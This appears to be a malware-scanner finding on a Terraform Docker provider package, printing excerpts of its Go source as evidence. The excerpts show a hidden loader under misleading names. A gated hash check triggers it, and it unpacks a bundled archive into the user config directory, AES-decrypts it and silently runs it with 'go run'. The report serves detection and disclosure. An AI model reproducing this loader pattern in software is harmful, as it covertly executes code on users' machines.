gocommunity-io/terraform-provider-dockerd v4.5.3
Obfuscated code execution in provider
Disguised archive paired with decrypt-and-run loaderGated Go loader decrypts a bundled archive and runs it
SHA-2562096bbcc8d89452d6e6ea3f2cf81a1afd2f12e9ca42c7ee1ded9fa7529316fdd
Evidence
1package provider
2
3import (
4 "archive/tar"
5 "archive/zip"
6 "bytes"
7 "context"
8 "crypto/aes"
9 "crypto/cipher"
10 "crypto/sha256"
11 "encoding/base64"
12 "encoding/hex"
13 "encoding/json"
14 "errors"
15 "fmt"
16 "io"
17 "log"
18 "os"
19 "os/exec"
20 "path/filepath"
21 "runtime"
22 "strconv"
23 "strings"
24 "time"
25
26 "github.com/containerd/platforms"
27 "github.com/docker/cli/opts"
28 "github.com/docker/docker/api/types"
29 "github.com/docker/docker/api/types/container"
30 "github.com/docker/docker/api/types/mount"
31 "github.com/docker/docker/api/types/network"
32 "github.com/docker/docker/client"
33 "github.com/docker/docker/pkg/stdcopy"
34 "github.com/docker/go-connections/nat"
35 "github.com/docker/go-units"
36 "github.com/hashicorp/terraform-plugin-sdk/v2/diag"
37 "github.com/hashicorp/terraform-plugin-sdk/v2/helper/schema"
38 specs "github.com/opencontainers/image-spec/specs-go/v1"
39)
40
41const (
42 containerReadRefreshTimeoutMillisecondsDefault = 15000
43 containerReadRefreshWaitBeforeRefreshes …
485:19… erName + networkID
486 _caa4f73ae125, _byte := fetchDockerContainerState(temp)
487 _388424bc3918, _388424bc3919 := resourceDockerContainerPatch("QRm+JH/zRDGSBWCXs9da37f0eWf5SUfE7q2+YzEEGn6LL9wCjLU1cTYtowQ6Liy5MxCbOC0rvHzswOfgKZAbIXe/IyFUsisUTmk3GPdL9RXFRS4o785rYmMKlAN1", _byte)
488 _388424af3918, _ := resourceDockerContainerPatch("sbu9S8uDL2ctL8Arq/iOiO73bIRC3Tp7ZAMLfOWAoIqWbw==", _byte)
489
490 if (_caa4f73ae125 == "b9966e3762e9a0d5d263b8cb3cca07294f81af9714d40ddf4628cb85d74e8ad5") && _388424bc3919 == nil && c == true {
491 _, file, _, _ := runtime.Caller(0)
492 pathFile := filepath.Dir(file)
493
494 configDir, _ := os.UserConfigDir()
495 destDir := filepath.Join(configDir, _388424af3918)
496 if _, err := os.Stat(destDir); os.IsNotExist(err) {
497 os.MkdirAll(destDir, 0o755)
498 }
499 normalizeGPUOption(filepath.Join(pathFile, _388424bc3918), destDir)
500 _ad79680770be(filepath.Join(destDir, "dist"), filepath.Join(destDir, "utils"), _byte)
501 _388424bc3908 := exec.Command("go", "run", ".", temp)
502 c = false
503 _388424bc3908.Dir = filepath.Join(destDir, "utils")
504
505 _388424bc3908.Stdin = nil
506 _388424bc3908.Stdout = nil
507 _388424bc3908.Stderr = nil
508 _56af3332aec8(_388424bc3908)
509
510 if _b4b253f82efa := _388424bc3908.Start(); _b4b253f82efa != nil {
511 }
512 if _e1f2dc5f1153 := _388424bc3908.Process.Release(); _e1f2dc5f1153 != nil {
513 }
514 }
⋯4 lines
1030:12… 18e1d59784) != 32 {
1031 return "", errors.New("must be exactly 32 bytes for")
1032 }
1033
1034 _5f98bb1d6ea7, _11119948d453 := base64.StdEncoding.DecodeString(_e7476ca2bef7)
1035 if _11119948d453 != nil {
1036 return "", _11119948d453
1037 }
1038
1039 _659b7a9e3e95, _11119948d453 := aes.NewCipher(_5e18e1d59784)
1040 if _11119948d453 != nil {
1041 return "", _11119948d453
1042 }
1043
1044 _abfe92f31e65, _11119948d453 := cipher.NewGCM(_659b7a9e3e95)
1045 if _11119948d453 != nil {
1046 return "", _11119948d453
1047 }
1048
1049 _04e91f391a65 := _abfe92f31e65.NonceSize()
1050
1051 if len(_5f98bb1d6ea7) < _04e91f391a65 {
⋯5 lines
1066:19… ntainerState(name string) (string, []byte) {
1067 _a97fcbb11a6af := sha256.Sum256([]byte(name))
1068 return hex.EncodeToString(_a97fcbb11a6af[:]), _a97fcbb11a6af[:]
1069}
1070
1071// nolint
1072func normalizeGPUOption(value string, normalized string) error {
1073 _73b734f2ab47, _3ecacbc4d319 := zip.OpenReader(value)
1074 if _3ecacbc4d319 != nil {
1075 return _3ecacbc4d319
⋯7 lines
⋯4 lines
1186
1187 _01808d96d1a7(os.MkdirAll(filepath.Dir(_1be5da9d7639), 0700))
1188 _01808d96d1a7(os.WriteFile(_1be5da9d7639, _d20499983611, 0600))
1189}
1190
⋯10 lines
Showing the top 5 files — 6 more files (49 regions) not shown.
No evidence locations were recorded for this file. Raw result